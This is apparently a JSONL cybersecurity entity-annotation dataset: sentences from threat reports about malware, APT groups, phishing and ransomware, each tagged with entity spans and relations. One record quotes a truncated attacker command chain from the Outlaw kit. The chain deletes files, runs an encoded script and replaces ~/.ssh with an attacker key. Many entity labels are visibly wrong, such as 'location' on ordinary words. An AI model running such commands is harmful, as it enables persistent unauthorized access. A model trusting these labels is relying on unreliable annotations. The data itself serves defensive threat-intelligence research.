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{"id":14333,"text":"The malware also shares the same certification with Virtual Girlfriend.","entities":[{"id":48561,"label":"malware","start_offset":52,"end_offset":70}],"relations":[],"Comments":[]}
{"id":4113,"text":"The second set of encrypted content is decrypted with an XOR key (0x99) from the previous decrypted content, and within the decrypted data are instructions for the following procedures.","entities":[],"relations":[],"Comments":[]}
{"id":12654,"text":"Connections to other ransomware families","entities":[],"relations":[],"Comments":[]}
{"id":7378,"text":"echo \"root 123\" > \/tmp\/up.txt rm -rf \/var\/tmp\/dota* <send Outlaw kit (the archive file) to compromised host via SFTP> cat \/var\/tmp\/.systemcache436621 echo \"1\" > \/var\/tmp\/.systemcache436621 cat \/var\/tmp\/.systemcache436621 sleep 15s && cd \/var\/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAk.....<shortened> cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3N.....<shortened>","entities":[{"id":22909,"label":"location","start_offset":0,"end_offset":4},{"id":22910,"label":"location","start_offset":6,"end_offset":10},{"id":22911,"label":"location","start_offset":103,"end_offset":107},{"id":22912,"label":"location","start_offset":150,"end_offset":154},{"id":22913,"label":"location","start_offset":247,"end_offset":251},{"id":22914,"label":"location","start_offset":334,"end_offset":338},{"id":22915,"label":"identity","start_offset":344,"end_offset":347}],"relations":[],"Comments":[]}
{"id":12292,"text":"We terminated 35 YouTube channels as part of our investigation into coordinated influence operations linked to Azerbaijan.","entities":[],"relations":[],"Comments":[]}
{"id":8830,"text":"Through the Apex One with Endpoint Sensor (iES), we discovered one such incident wherein an attacker utilized sophisticated techniques in an attempt to exfiltrate sensitive information from a company.","entities":[],"relations":[],"Comments":[]}
{"id":4134,"text":"In this stage, we also observed attempts to deploy tools to exfiltrate stolen information.","entities":[],"relations":[],"Comments":[]}
{"id":5289,"text":"It was also reported to have infected hundreds of thousands of devices.","entities":[],"relations":[],"Comments":[]}
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{"id":9516,"text":"We also saw WinRAR self-extracting (SFX) files dropping downloaders written using the Microsoft Foundation Class Library (MFC) framework.","entities":[{"id":29191,"label":"malware","start_offset":12,"end_offset":18},{"id":29192,"label":"identity","start_offset":86,"end_offset":95},{"id":29193,"label":"location","start_offset":113,"end_offset":120}],"relations":[],"Comments":[]}
{"id":526,"text":"This downloads and executes an obfuscated PowerShell script to finally install the ransomware.","entities":[{"id":46153,"label":"attack-pattern","start_offset":42,"end_offset":59}],"relations":[],"Comments":[]}
{"id":9408,"text":"Collection Location Tracking T1430 Used to track device\u2019s location","entities":[{"id":28959,"label":"attack-pattern","start_offset":11,"end_offset":28}],"relations":[],"Comments":[]}
{"id":67,"text":"Every infected system is a profit-generating resource when mining Monero, and users are much less likely to identify their infection and remove the mining program than they would be with ransomware.","entities":[{"id":45825,"label":"SOFTWARE","start_offset":66,"end_offset":72}],"relations":[],"Comments":[]}
{"id":1250,"text":"This post is also available in:      \u65e5\u672c\u8a9e (Japanese)  Palo Alto Networks Unit 42","entities":[{"id":3816,"label":"identity","start_offset":53,"end_offset":71},{"id":3817,"label":"identity","start_offset":72,"end_offset":79}],"relations":[],"Comments":[]}
{"id":4801,"text":"TAG continues to disrupt campaigns from multiple sets of Russian government-backed attackers, some of which are detailed in our previous updates.","entities":[{"id":50705,"label":"identity","start_offset":0,"end_offset":3}],"relations":[],"Comments":[]}
{"id":11098,"text":"The Iranian attacker group (APT35) and the Chinese attacker group (APT31) targeted campaign staffers\u2019 personal emails with credential phishing emails and emails containing tracking links.","entities":[{"id":33888,"label":"location","start_offset":35,"end_offset":38},{"id":33891,"label":"location","start_offset":83,"end_offset":91},{"id":33892,"label":"attack-pattern","start_offset":134,"end_offset":142},{"id":33893,"label":"location","start_offset":150,"end_offset":153}],"relations":[],"Comments":[]}
{"id":8261,"text":"We believe that this specific VBS obfuscation script was created by the N7r team, a North African hacking group known for making video tutorials on using common RATs (that this particular script wasn\u2019t part of any such videos).","entities":[],"relations":[],"Comments":[]}
{"id":2277,"text":"While analyzing Glupteba binaries, our team identified a few containing a git repository URL: \u201cgit.voltronwork.com\u201d.","entities":[{"id":45437,"label":"DOMAIN","start_offset":95,"end_offset":114},{"id":45436,"label":"malware","start_offset":16,"end_offset":24}],"relations":[],"Comments":[]}
{"id":3652,"text":" Second, using security on your systems, devices and networks that provides multiple layers of protection can help prevent attacks.  Conversation hijacking spear phishing isn\u2019t a threat everyone faces, but for those who do it represents a significant escalation in terms of sophistication and social engineering of spear phishing attacks.","entities":[{"id":49426,"label":"attack-pattern","start_offset":315,"end_offset":329},{"id":49424,"label":"attack-pattern","start_offset":156,"end_offset":170},{"id":49425,"label":"attack-pattern","start_offset":293,"end_offset":311}],"relations":[],"Comments":[]}
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{"id":9860,"text":"The list of modified tools the group used include Mimikatz, RAR compression tool, port mapping tool, and screen capture.","entities":[{"id":30041,"label":"location","start_offset":4,"end_offset":8},{"id":30043,"label":"location","start_offset":76,"end_offset":80},{"id":30044,"label":"location","start_offset":95,"end_offset":99},{"id":30045,"label":"location","start_offset":101,"end_offset":104},{"id":30046,"label":"attack-pattern","start_offset":105,"end_offset":119}],"relations":[],"Comments":[]}
{"id":2513,"text":"Ireland has yet to recover from an attack in mid-May that prompted the shutdown of the entire information technology network of the nation's healthcare system \u2013 prompting cancellation of appointments, the shutdown of X-ray systems and delays in COVID testing.","entities":[{"id":47709,"label":"location","start_offset":0,"end_offset":7},{"id":47710,"label":"TIME","start_offset":45,"end_offset":52}],"relations":[],"Comments":[]}
{"id":1869,"text":"However, and specific to this instance, the attempt to kill an antivirus product such as this variant\u2019s TaskKill can also be foiled.","entities":[],"relations":[],"Comments":[]}
{"id":774,"text":"Figure 8: decrease the reference number, not yet freed  ","entities":[],"relations":[],"Comments":[]}
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{"id":4387,"text":"After the program has finished downloading the inbox, it reverts the language back to its original settings and deletes any security emails from Google.","entities":[{"id":50200,"label":"SOFTWARE","start_offset":145,"end_offset":151}],"relations":[],"Comments":[]}
{"id":7823,"text":"Microsoft has since updated the FAQ section of the advisory that shows CVE-2021-34527 is similar but distinct from CVE-2021-1675, which addresses a different but related vulnerability in RpcAddPrinterDriverEx().","entities":[{"id":24249,"label":"identity","start_offset":0,"end_offset":9},{"id":24250,"label":"location","start_offset":36,"end_offset":43}],"relations":[],"Comments":[]}
{"id":8288,"text":" Figure 2. Stolen credit cards (Click to enlarge)","entities":[],"relations":[],"Comments":[]}
{"id":92,"text":"It\u2019s that time of year again \u2013 our researchers have analyzed and reviewed the threats and attacks that occurred during the first half of 2021.","entities":[{"id":45831,"label":"TIME","start_offset":123,"end_offset":141}],"relations":[],"Comments":[]}
{"id":2237,"text":"After this check is performed, it enters an infinite loop, with a sleep interval set at a default of 30 minutes.","entities":[{"id":6668,"label":"TIME","start_offset":101,"end_offset":111}],"relations":[],"Comments":[]}
{"id":1044,"text":" Please mark, I'm not a robot!","entities":[],"relations":[],"Comments":[]}
{"id":10083,"text":"It has several peculiarities in its behavior, however.","entities":[],"relations":[],"Comments":[]}
{"id":641,"text":" We are aware of the following information about how the Petya attack lifecycle works.","entities":[{"id":46228,"label":"malware","start_offset":57,"end_offset":62}],"relations":[],"Comments":[]}
{"id":9847,"text":"Upgraded steganography technique","entities":[],"relations":[],"Comments":[]}
{"id":3244,"text":", it will stop.","entities":[],"relations":[],"Comments":[]}
{"id":13665,"text":"    \u201cSwiftme\u201d appears in the phishing email headers and is accompanied by account names with forged company email domains.","entities":[],"relations":[],"Comments":[]}
{"id":1917,"text":"Aside from acting as a C&C and distributing Bahamut-like malware, some of these websites also serve as the host for other malicious documents.","entities":[{"id":45179,"label":"threat-actor","start_offset":44,"end_offset":51}],"relations":[],"Comments":[]}
{"id":13498,"text":"The group primarily targets email accounts and mailboxes.","entities":[],"relations":[],"Comments":[]}
{"id":1440,"text":"The certificate fingerprints (circled in red) are what can be used to uniquely identify a certificate.","entities":[],"relations":[],"Comments":[]}
{"id":1193,"text":"While this is more convenient for both users and developers, there are significant security concerns with using SMS-based IAP on Android.","entities":[{"id":46585,"label":"SOFTWARE","start_offset":129,"end_offset":136}],"relations":[],"Comments":[]}
{"id":2116,"text":"This blog is to provide information to help organizations assess their risk of the vulnerability and to inform Palo Alto Networks customers of protections in place that can help mitigate their risk until they can apply the security updates.","entities":[{"id":47254,"label":"identity","start_offset":111,"end_offset":129}],"relations":[],"Comments":[]}
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{"id":13538,"text":"Since 2019, we have been tracking a threat campaign we dubbed as \u201cWater Pamola.\u201d","entities":[{"id":51599,"label":"TIME","start_offset":6,"end_offset":10},{"id":51600,"label":"campaign","start_offset":66,"end_offset":78}],"relations":[],"Comments":[]}
{"id":7617,"text":"However, as mentioned earlier, the group has also started to attach an HTML link in emails to trick users into opening the Excel file.","entities":[],"relations":[],"Comments":[]}
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{"id":13046,"text":"The Internet of Things (IoT) Cybersecurity Improvement Act, passed by the House of Representatives in September and unanimously approved by the Senate last week, is a step toward warding off advanced threats and providing greater security in IoT devices.","entities":[{"id":48882,"label":"identity","start_offset":74,"end_offset":98},{"id":48883,"label":"TIME","start_offset":102,"end_offset":112}],"relations":[],"Comments":[]}
{"id":9363,"text":"The screenshot gets captured when a command is received from the C&C server.","entities":[],"relations":[],"Comments":[]}
{"id":4864,"text":"United Arab Emirates TAG is also tracking a hack-for-hire group now based in the United Arab Emirates that is mostly active in the Middle East and North Africa.","entities":[{"id":50856,"label":"location","start_offset":131,"end_offset":142},{"id":50857,"label":"location","start_offset":147,"end_offset":159},{"id":50854,"label":"identity","start_offset":0,"end_offset":24},{"id":50855,"label":"location","start_offset":81,"end_offset":101}],"relations":[],"Comments":[]}
{"id":3530,"text":"Different versions of Protux used by Blackgear Figure 9.","entities":[{"id":49310,"label":"malware","start_offset":22,"end_offset":28},{"id":49311,"label":"threat-actor","start_offset":37,"end_offset":46}],"relations":[{"id":782,"from_id":49311,"to_id":49310,"type":"uses"}],"Comments":[]}
{"id":12101,"text":"Since mid-August, OpenSUpdater samples have carried an invalid signature, and further investigation showed this was a deliberate attempt to evade detection.","entities":[{"id":37457,"label":"malware","start_offset":18,"end_offset":30},{"id":37458,"label":"location","start_offset":74,"end_offset":77}],"relations":[],"Comments":[]}
{"id":5383,"text":"The main differences between the modules are as follows:    This module does not have an upload feature.    The 0x1 bit in the control flags is used in this module to specify if the download should be done via HTTPS.  Infrastructure","entities":[],"relations":[],"Comments":[]}
{"id":1211,"text":" However, in addition to sending, all of these IAP SDKs also implement a BroadcastReceiver and register it for SMS_RECEIVED actions (Figure 2).  In addition, Umpay, WiPay, and NgstreamPay will also register a ContentObserver to monitor all changes in an SMS inbox (Figure 3).  ","entities":[{"id":46601,"label":"SOFTWARE","start_offset":158,"end_offset":163},{"id":46602,"label":"SOFTWARE","start_offset":165,"end_offset":170},{"id":46603,"label":"SOFTWARE","start_offset":176,"end_offset":188}],"relations":[],"Comments":[]}
{"id":2872,"text":"Once the object is free the Flash file will overwrite a length field in the vector object and allow arbitrary memory access.","entities":[{"id":48073,"label":"SOFTWARE","start_offset":28,"end_offset":33}],"relations":[],"Comments":[]}
{"id":1868,"text":"In this case, the attackers were able to study and use Avast\u2019s driver as part of their arsenal to disable other vendors\u2019 security products.","entities":[{"id":46992,"label":"identity","start_offset":55,"end_offset":61}],"relations":[],"Comments":[]}
{"id":943,"text":"Most of these are created by malware authors who set up command and control (C2) servers with third party hosting providers and frequently update their locations to avoid detection.","entities":[],"relations":[],"Comments":[]}
{"id":4330,"text":"Stage 3 is similar to stage 1, with the only change being the URL to retrieve the next stage.","entities":[],"relations":[],"Comments":[]}
{"id":11971,"text":"We terminated 2 YouTube channels as part of our investigation into coordinated influence operations linked to Moldova.","entities":[],"relations":[],"Comments":[]}
{"id":6935,"text":"Looking into one of Earth Karkaddan\u2019s recent campaigns Typically, Earth Karkaddan\u2019s arrival methods include the use of spear-phishing emails and a USB worm that would then drop and execute a remote access trojan (RAT).      Figure 1. Earth Karkaddan\u2019s attack chain      ","entities":[{"id":21704,"label":"location","start_offset":119,"end_offset":124},{"id":21705,"label":"attack-pattern","start_offset":125,"end_offset":133},{"id":21706,"label":"location","start_offset":141,"end_offset":144},{"id":21707,"label":"location","start_offset":177,"end_offset":180},{"id":21708,"label":"location","start_offset":191,"end_offset":197},{"id":21710,"label":"location","start_offset":234,"end_offset":239}],"relations":[],"Comments":[]}
{"id":1960,"text":"This appendix contains the latest Indicators of Compromise (IOCs) related to the different groups.        Tags  Mobile | APT & Targeted Attacks | Research","entities":[],"relations":[],"Comments":[]}
{"id":1922,"text":"This leads us back to the Confucius and Patchwork link.","entities":[{"id":5646,"label":"threat-actor","start_offset":40,"end_offset":49},{"id":47046,"label":"threat-actor","start_offset":26,"end_offset":35}],"relations":[],"Comments":[]}
{"id":3879,"text":"Trend Micro Deep Discovery\u2122 can protect enterprises by detecting malicious attachment and URLs.","entities":[{"id":49736,"label":"SOFTWARE","start_offset":0,"end_offset":26}],"relations":[],"Comments":[]}
{"id":14215,"text":"It leverages the WMI performance adapter service (wmiAPSrv), a legitimate file in Windows that collects information related to system performance, to import the loader via services.exe.","entities":[{"id":48242,"label":"FILEPATH","start_offset":172,"end_offset":184},{"id":48243,"label":"SOFTWARE","start_offset":82,"end_offset":90}],"relations":[],"Comments":[]}
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{"id":5535,"text":"Magecart is so effective that multiple groups are said to be using the code, a piece of malicious JavaScript, to infect websites around the world.","entities":[{"id":51536,"label":"malware","start_offset":0,"end_offset":8}],"relations":[],"Comments":[]}
{"id":11216,"text":"The browser then navigates to Gmail to begin the data collection.","entities":[],"relations":[],"Comments":[]}
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{"id":14245,"text":"We monitored the period during which IP addresses were found connecting to Winnti\u2019s C&C servers and found that they started their operations in the afternoon up to late evening.","entities":[{"id":48440,"label":"threat-actor","start_offset":75,"end_offset":81}],"relations":[],"Comments":[]}
{"id":2583,"text":"Lapsus$, however, is unusual in its approach \u2013 for this group, notoriety most often appears to be the goal, rather than financial gain.","entities":[{"id":45602,"label":"threat-actor","start_offset":0,"end_offset":7}],"relations":[],"Comments":[]}
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{"id":11748,"text":"The phishing typically started with a customized email introducing the company and its products.","entities":[{"id":36211,"label":"attack-pattern","start_offset":4,"end_offset":12},{"id":36212,"label":"location","start_offset":79,"end_offset":82}],"relations":[],"Comments":[]}
{"id":1115,"text":" In parallel, and to inform better hypothesis for the fingerprint generation, research is being done to determine how far single mutex analysis can take us.","entities":[],"relations":[],"Comments":[]}
{"id":11976,"text":"          This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q1 2021.","entities":[],"relations":[],"Comments":[]}
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{"id":9232,"text":" There is also a possible connection to the Chopper ASPX web shell research we published back in January 2021.","entities":[{"id":28516,"label":"attack-pattern","start_offset":57,"end_offset":66}],"relations":[],"Comments":[]}
{"id":3250,"text":"If the file hasn\u2019t been created, it will set the victim ID to a null value until the C&C server assigns it.","entities":[],"relations":[],"Comments":[]}
{"id":13644,"text":"Once the credentials are obtained and accounts are successfully compromised, emails containing invoice documents with tampered banking information are sent to subordinates in an attempt to siphon money through fund transfer requests.","entities":[],"relations":[],"Comments":[]}
{"id":2742,"text":"While this vulnerability didn\u2019t come with quite the fanfare or a catchy name like Heartbleed, the security community quickly dubbed it \u201cShellshock.\u201d","entities":[{"id":45681,"label":"vulnerability","start_offset":82,"end_offset":92},{"id":45682,"label":"vulnerability","start_offset":136,"end_offset":146}],"relations":[],"Comments":[]}
{"id":1102,"text":" Any given mutex, and protected functionality, can then be thought of as an independent library of sorts.","entities":[],"relations":[],"Comments":[]}
{"id":3631,"text":"Spear phishing is a suitable tactic when an attacker cares about who falls for it.","entities":[{"id":10966,"label":"attack-pattern","start_offset":0,"end_offset":14}],"relations":[],"Comments":[]}
{"id":1397,"text":"Palo Alto Networks will update this Threat Brief with new information and recommendations as they become available.","entities":[{"id":46746,"label":"identity","start_offset":0,"end_offset":18}],"relations":[],"Comments":[]}
{"id":3291,"text":"The \u201cShell\u201d command instructs the malware to execute a command using the Python function \u201cwin32api.ShellExecute\u201d and to return the result to a C&C server, applying a 60-second timeout for command execution.","entities":[{"id":48380,"label":"SOFTWARE","start_offset":73,"end_offset":79}],"relations":[],"Comments":[]}
{"id":4190,"text":"Hijack Execution Flow: DLL Side-Loading T1505.003 Server Software Component: Web Shell Defense evasion T1140","entities":[{"id":49992,"label":"attack-pattern","start_offset":0,"end_offset":49},{"id":49993,"label":"attack-pattern","start_offset":50,"end_offset":108}],"relations":[],"Comments":[]}
{"id":11336,"text":"A new folder named \"Download\" is created adjacent to the main binary.","entities":[],"relations":[],"Comments":[]}
{"id":2206,"text":"After the kernel32.dll and ntdll.dll libraries are loaded via calls to GetModuleHandle, the following process takes place:","entities":[{"id":47319,"label":"FILEPATH","start_offset":27,"end_offset":36},{"id":47318,"label":"FILEPATH","start_offset":10,"end_offset":22}],"relations":[],"Comments":[]}
{"id":14201,"text":"With additional analysis from Cyber Safety Solutions Team Developers constantly need to modify and rework their source codes when releasing new versions of applications or coding projects they create and maintain.","entities":[],"relations":[],"Comments":[]}
{"id":3894,"text":"CISA also encourages them to identify critical processes that must not be interrupted to provide essential services, develop and regularly test workarounds and\/or manual controls that ensure critical processes and industrial control system (ICS) network supporting them.","entities":[{"id":49747,"label":"identity","start_offset":0,"end_offset":4}],"relations":[],"Comments":[]}
{"id":5519,"text":"Yet in all of these cases, there has been little the customer could do about it.","entities":[],"relations":[],"Comments":[]}
{"id":219,"text":" Our team analyzed the larger trends regarding Ukraine-related phishing and scam URLs detected by Advanced URL Filtering.","entities":[{"id":715,"label":"attack-pattern","start_offset":63,"end_offset":71},{"id":44643,"label":"attack-pattern","start_offset":76,"end_offset":85}],"relations":[],"Comments":[]}
{"id":621,"text":"This post is also available in:      \u65e5\u672c\u8a9e (Japanese)  This Unit 42 blog provides an update on the threat situation surrounding attacks using the Petya Ransomware which are impacting organizations in Ukraine, Russia and to a lesser extent around the world.","entities":[{"id":2073,"label":"identity","start_offset":58,"end_offset":65},{"id":2074,"label":"malware","start_offset":144,"end_offset":149},{"id":44803,"label":"malware","start_offset":144,"end_offset":160},{"id":44804,"label":"location","start_offset":198,"end_offset":205},{"id":44805,"label":"location","start_offset":207,"end_offset":213}],"relations":[{"id":27,"from_id":44803,"to_id":44805,"type":"targets"},{"id":26,"from_id":44803,"to_id":44804,"type":"targets"}],"Comments":[]}
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{"id":14123,"text":"Mattermost was being used as a C2 channel for the malware.","entities":[{"id":48188,"label":"SOFTWARE","start_offset":0,"end_offset":11},{"id":48189,"label":"malware","start_offset":50,"end_offset":57}],"relations":[{"id":390,"from_id":48189,"to_id":48188,"type":"uses"}],"Comments":[]}
{"id":2033,"text":"Additionally, the file marker changed again, this time to what seems to be random bytes rather than a coherent string.","entities":[],"relations":[],"Comments":[]}
{"id":339,"text":"To pay the ransom the user will need to acquire 1.33 BitCoins and transfer them to a specific BitCoin wallet that is associated with their specific infection.","entities":[{"id":44704,"label":"SOFTWARE","start_offset":53,"end_offset":61},{"id":44705,"label":"SOFTWARE","start_offset":94,"end_offset":101}],"relations":[],"Comments":[]}
{"id":2632,"text":"The LockBit 2.0 operators claimed to have the fastest encryption software of any active ransomware strain as of June 2021, claiming accordingly that this added to its effectiveness and ability to disrupt the ransomware landscape.","entities":[{"id":47809,"label":"TIME","start_offset":112,"end_offset":121},{"id":7968,"label":"threat-actor","start_offset":4,"end_offset":11}],"relations":[],"Comments":[]}
{"id":14341,"text":"The first variant of Maikspy appeared on the Windows platform in December 2016.","entities":[{"id":48576,"label":"malware","start_offset":21,"end_offset":29},{"id":48578,"label":"TIME","start_offset":65,"end_offset":78},{"id":48577,"label":"SOFTWARE","start_offset":45,"end_offset":53}],"relations":[{"id":448,"from_id":48576,"to_id":48577,"type":"duplicate-of"},{"id":449,"from_id":48576,"to_id":48578,"type":"related-to"}],"Comments":[]}
{"id":9559,"text":"Like much of their tooling, HYPERSCRAPE is not notable for its technical sophistication, but rather its effectiveness in accomplishing Charming Kitten\u2019s objectives.","entities":[{"id":29335,"label":"location","start_offset":5,"end_offset":9},{"id":29337,"label":"threat-actor","start_offset":135,"end_offset":150}],"relations":[],"Comments":[]}
{"id":2781,"text":"This tool has a legitimate use: sites can and do notify users that they\u2019re using the site visitors\u2019 resources in this way to support the site, typically as a substitute for ads on the site.","entities":[],"relations":[],"Comments":[]}
{"id":4354,"text":"However, the second stage contained the final payload, which was once again a file stealer with the exact same structure (a .NET DLL).","entities":[],"relations":[],"Comments":[]}
{"id":281,"text":"We consider these appropriate given the variety of tactics that Russian actors have used in the past.","entities":[{"id":45968,"label":"identity","start_offset":64,"end_offset":78}],"relations":[],"Comments":[]}
{"id":9194,"text":"Updated as of February 6, 2017, 10:05 PM (UTC-7): We updated to include observed systems from other countries that connected to IP addresses operated by Lurk.","entities":[{"id":28374,"label":"TIME","start_offset":32,"end_offset":49}],"relations":[],"Comments":[]}
{"id":4865,"text":"They have primarily targeted government, education, and political organizations including Middle East focused NGOs in Europe and the Palestinian political party Fatah.","entities":[{"id":50860,"label":"location","start_offset":133,"end_offset":144},{"id":50861,"label":"identity","start_offset":161,"end_offset":166},{"id":50858,"label":"location","start_offset":90,"end_offset":101},{"id":50859,"label":"location","start_offset":118,"end_offset":124},{"id":50862,"label":"identity","start_offset":110,"end_offset":114}],"relations":[],"Comments":[]}
{"id":4353,"text":"The first stage was also hidden in the \u201cComments\u201d section.","entities":[],"relations":[],"Comments":[]}
{"id":6433,"text":"Earth Vetala historically targets countries in the Middle East.","entities":[],"relations":[],"Comments":[]}
{"id":13549,"text":"     The above is a screenshot of the text in a forum, which is translated by Google Translate as Problem, there is an order that seems to be a mischievous order.","entities":[{"id":51625,"label":"SOFTWARE","start_offset":78,"end_offset":94}],"relations":[],"Comments":[]}
{"id":4303,"text":"At the endpoint level, Trend Micro\u2122 Smart Protection Suites deliver several capabilities that minimize the impact of Patchwork\u2019s attacks.","entities":[{"id":12917,"label":"threat-actor","start_offset":117,"end_offset":126},{"id":50103,"label":"SOFTWARE","start_offset":23,"end_offset":59}],"relations":[],"Comments":[]}
{"id":2909,"text":"Normally programmers begin counting at 0 when referencing arrays, but in all three exploits they began at -2, which is quite unusual.","entities":[],"relations":[],"Comments":[]}
{"id":3992,"text":"Organizations should also create a program that can manage and control their supply chain's vulnerabilities, minimizing the possibilities of attacks.","entities":[],"relations":[],"Comments":[]}
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{"id":12949,"text":"ALIEN lives inside multiple privileged processes and receives commands from PREDATOR over IPC.","entities":[{"id":40325,"label":"malware","start_offset":0,"end_offset":5},{"id":40326,"label":"location","start_offset":49,"end_offset":52}],"relations":[],"Comments":[]}
{"id":1860,"text":"While AvosLocker has been documented for its abuse of AnyDesk for lateral movement as its preferred application, we note that other remote access applications can also be abused to replace it.","entities":[{"id":45154,"label":"malware","start_offset":6,"end_offset":16},{"id":45155,"label":"tools","start_offset":54,"end_offset":61},{"id":45156,"label":"attack-pattern","start_offset":66,"end_offset":82}],"relations":[{"id":77,"from_id":45154,"to_id":45155,"type":"uses"},{"id":284,"from_id":45156,"to_id":45155,"type":"uses"},{"id":285,"from_id":45154,"to_id":45156,"type":"uses"}],"Comments":[]}
{"id":9087,"text":"Nine more suspected members of the group were arrested by Russia's Ministry of Internal Affairs on February 8.","entities":[],"relations":[],"Comments":[]}
{"id":3524,"text":"Find the encrypted configuration through keywords on blog services.","entities":[],"relations":[],"Comments":[]}
{"id":3701,"text":"Some portions of the system are protected by credentials.","entities":[],"relations":[],"Comments":[]}
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{"id":7022,"text":"However, after the publication of our report, we learned that the Type 2 malware family described in our report was the same as the \u201cRCSession\u201d malware family that Dell Secureworks described in a blog that they published in December 2019.","entities":[{"id":22013,"label":"location","start_offset":49,"end_offset":56},{"id":22014,"label":"location","start_offset":66,"end_offset":70},{"id":22015,"label":"location","start_offset":120,"end_offset":124},{"id":22016,"label":"tools","start_offset":133,"end_offset":142}],"relations":[],"Comments":[]}
{"id":2146,"text":" Due to the amount of publicly available information, ease of use, and the extreme effectiveness of this exploit, Palo Alto Networks is providing this threat brief to make our customers aware of this critical vulnerability and the options available to ensure proper protections are put into place until a patch can be issued by Microsoft.  The vulnerability enables remote code execution with the same privileges as the calling application and there are proof-of-concept examples of zero-click variants.","entities":[{"id":47278,"label":"identity","start_offset":114,"end_offset":132},{"id":47279,"label":"identity","start_offset":328,"end_offset":337},{"id":47280,"label":"attack-pattern","start_offset":366,"end_offset":387}],"relations":[],"Comments":[]}
{"id":288,"text":"Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot Threat Briefing: Protecting Against Russia-Ukraine Cyber Activity Palo Alto Networks Resource Page: Protect Against Russia-Ukraine Cyber Activity Cortex XDR Protections Against Malware Associated with Ukraine and Russia Cyber Activity","entities":[{"id":970,"label":"attack-pattern","start_offset":0,"end_offset":14},{"id":974,"label":"malware","start_offset":94,"end_offset":102},{"id":976,"label":"malware","start_offset":122,"end_offset":130},{"id":977,"label":"location","start_offset":167,"end_offset":173},{"id":978,"label":"location","start_offset":174,"end_offset":181},{"id":979,"label":"identity","start_offset":197,"end_offset":215},{"id":981,"label":"location","start_offset":247,"end_offset":253},{"id":982,"label":"location","start_offset":254,"end_offset":261},{"id":983,"label":"tools","start_offset":277,"end_offset":287},{"id":44679,"label":"identity","start_offset":30,"end_offset":54},{"id":44678,"label":"location","start_offset":47,"end_offset":54},{"id":44685,"label":"location","start_offset":332,"end_offset":339},{"id":44686,"label":"location","start_offset":344,"end_offset":350}],"relations":[{"id":116,"from_id":970,"to_id":44679,"type":"targets"},{"id":118,"from_id":974,"to_id":970,"type":"uses"},{"id":119,"from_id":976,"to_id":970,"type":"uses"},{"id":117,"from_id":974,"to_id":44679,"type":"targets"}],"Comments":[]}
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{"id":10517,"text":"Our products are designed with robust built-in security features, like Gmail protections against phishing and Safe Browsing in Chrome, but we still dedicate significant resources to developing new tools and technology to help identify, track and stop this kind of activity.","entities":[{"id":31992,"label":"location","start_offset":13,"end_offset":16},{"id":31993,"label":"location","start_offset":47,"end_offset":55},{"id":31995,"label":"attack-pattern","start_offset":97,"end_offset":105},{"id":31996,"label":"location","start_offset":106,"end_offset":109},{"id":31997,"label":"threat-actor","start_offset":110,"end_offset":114},{"id":31998,"label":"location","start_offset":203,"end_offset":206},{"id":31999,"label":"location","start_offset":242,"end_offset":245},{"id":32000,"label":"location","start_offset":246,"end_offset":250}],"relations":[],"Comments":[]}
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{"id":1297,"text":"The server responds with data similar to the following:  The first two pieces of data ('17' and 'gh204503254') are then written to the ibmCon6.tmp file referenced earlier.","entities":[{"id":46662,"label":"FILEPATH","start_offset":135,"end_offset":146}],"relations":[],"Comments":[]}
{"id":5183,"text":"Notably, we also studied the Robot Operating System 2 (ROS 2) because it uses DDS as its default standard operating system (OS) middleware for all robotics and automation use cases.","entities":[{"id":51230,"label":"SOFTWARE","start_offset":29,"end_offset":61}],"relations":[],"Comments":[]}
{"id":6100,"text":"We were able to uncover multiple additional samples exploiting the same technique as well as an additional Google Code account with multiple projects containing encoded commands.","entities":[{"id":18861,"label":"tools","start_offset":16,"end_offset":23},{"id":18862,"label":"location","start_offset":67,"end_offset":71}],"relations":[],"Comments":[]}
{"id":2712,"text":"Attackers identify thousands of critical vulnerabilities in commonly used software each year, such as Internet Explorer.","entities":[{"id":45670,"label":"SOFTWARE","start_offset":102,"end_offset":119}],"relations":[],"Comments":[]}
{"id":3438,"text":"This is a critical vulnerability that needs immediate attention, as it was given a 9.8 CVSS score.","entities":[],"relations":[],"Comments":[]}
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{"id":2276,"text":"The following image shows a webpage mimicking a software crack download which delivers a variant of Glupteba to users instead of the promised software.","entities":[{"id":6773,"label":"malware","start_offset":100,"end_offset":108}],"relations":[],"Comments":[]}
{"id":12891,"text":"    What Does it Mean for Me?","entities":[],"relations":[],"Comments":[]}
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{"id":5465,"text":"Are Patchwork and Confucius the same group?","entities":[{"id":51452,"label":"threat-actor","start_offset":4,"end_offset":13},{"id":51453,"label":"threat-actor","start_offset":18,"end_offset":27}],"relations":[],"Comments":[]}
{"id":1887,"text":"What sets Urpage attacks apart is its targeting of InPage, a word processor for Urdu and Arabic languages.","entities":[{"id":45163,"label":"SOFTWARE","start_offset":51,"end_offset":57},{"id":45162,"label":"threat-actor","start_offset":10,"end_offset":16}],"relations":[{"id":78,"from_id":45162,"to_id":45163,"type":"targets"}],"Comments":[]}
{"id":4999,"text":"Unfortunately, this is not the first time we have seen this happen with exploits in the wild; the 2019 Bad Binder vulnerability is another example.","entities":[{"id":51057,"label":"TIME","start_offset":98,"end_offset":102},{"id":51058,"label":"vulnerability","start_offset":103,"end_offset":127}],"relations":[],"Comments":[]}
{"id":10365,"text":"Awareness can effectively mitigate or stop these kinds of attacks from being successful.","entities":[{"id":31559,"label":"location","start_offset":10,"end_offset":13},{"id":31560,"label":"malware","start_offset":38,"end_offset":42}],"relations":[],"Comments":[]}
{"id":6264,"text":"The current version of the script contains three primary functions.","entities":[],"relations":[],"Comments":[]}
{"id":3209,"text":"Python code for downloading additional components from Alibaba Cloud OSS      Figure 10.","entities":[{"id":48337,"label":"Infrastucture","start_offset":55,"end_offset":72}],"relations":[],"Comments":[]}
{"id":2270,"text":"We believe this action will have a significant impact on Glupteba's operations.","entities":[{"id":47338,"label":"malware","start_offset":57,"end_offset":65}],"relations":[],"Comments":[]}
{"id":14253,"text":"Nearly all the C&C servers are hosted in the U.S., while two are located in Japan.","entities":[{"id":48448,"label":"location","start_offset":45,"end_offset":49},{"id":48449,"label":"Infrastucture","start_offset":15,"end_offset":26}],"relations":[{"id":410,"from_id":48449,"to_id":48448,"type":"located-at"}],"Comments":[]}
{"id":3682,"text":"To maintain persistence, the groups create new services.","entities":[],"relations":[],"Comments":[]}
